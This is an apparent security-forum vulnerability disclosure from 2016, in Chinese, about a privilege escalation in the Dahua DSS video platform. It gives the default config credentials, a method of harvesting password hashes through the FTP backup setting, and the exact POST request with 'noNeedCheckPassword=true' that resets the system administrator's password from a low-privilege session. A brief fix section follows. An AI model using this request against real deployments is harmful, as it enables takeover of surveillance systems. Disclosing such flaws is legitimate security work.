HanDs
管理员

[7月漏洞公开] 大华DSS平台低权限账户越权直接修改system密码 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

大华DSS平台低权限账户越权直接修改system密码
前提:拥有config配置用户名密码

详细说明:

被测试DSS版本信息:V3.11.003.R.20150929.374164

前提:拥有config配置用户名密码



一. 取得所有用户名



1. 进入config管理界面

地址:http://[IP]/config/user_toLoginPage.action

默认用户名admin密码123456



2. 配置自动SQL备份FTP服务器

QQ截图20160410191027.jpg



3. 等待自动备份

4. 从备份的SQL文件中获得所有账户的用户名,密码(MD5)

QQ截图20160410190748.jpg



5. 测试账户弱口令,取得一个低权限账户

二.

1.web登录低权限账户(获得登录cookie)

QQ截图20160410191152.jpg





2.POST提交强制修改密码的url(保持低权限账户的cookie)

我直接用的火狐在浏览器中提交的

QQ截图20160410191503.jpg





code 区域
http://【IP】/admin/user_updatePassword.action?nowTime=【时间戳】



POST信息:

code 区域
noNeedCheckPassword=true
userBean.loginName=system 被改密码的用户名
userBean.id=1 被改的用户ID(数据文件中获取)
userBean.newLoginPass=7e9038a26b85dc9b7d5089a1b1d7e00c 新密码MD5



MD5加密格式:

code 区域
用户名:DSS:密码



(逆向JS所得)





三.完毕



漏洞证明:

经核实:所用的低权限账号是没有管理员权限的

QQ截图20160410191611.jpg





QQ截图20160410191642.jpg

修复方案:

弱口令和默认修改下可以简单解决



修改密码的提交增加权限认证


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
大华
#1楼
发帖时间:2016-7-14   |   查看数:0   |   回复数:0
游客组
快速回复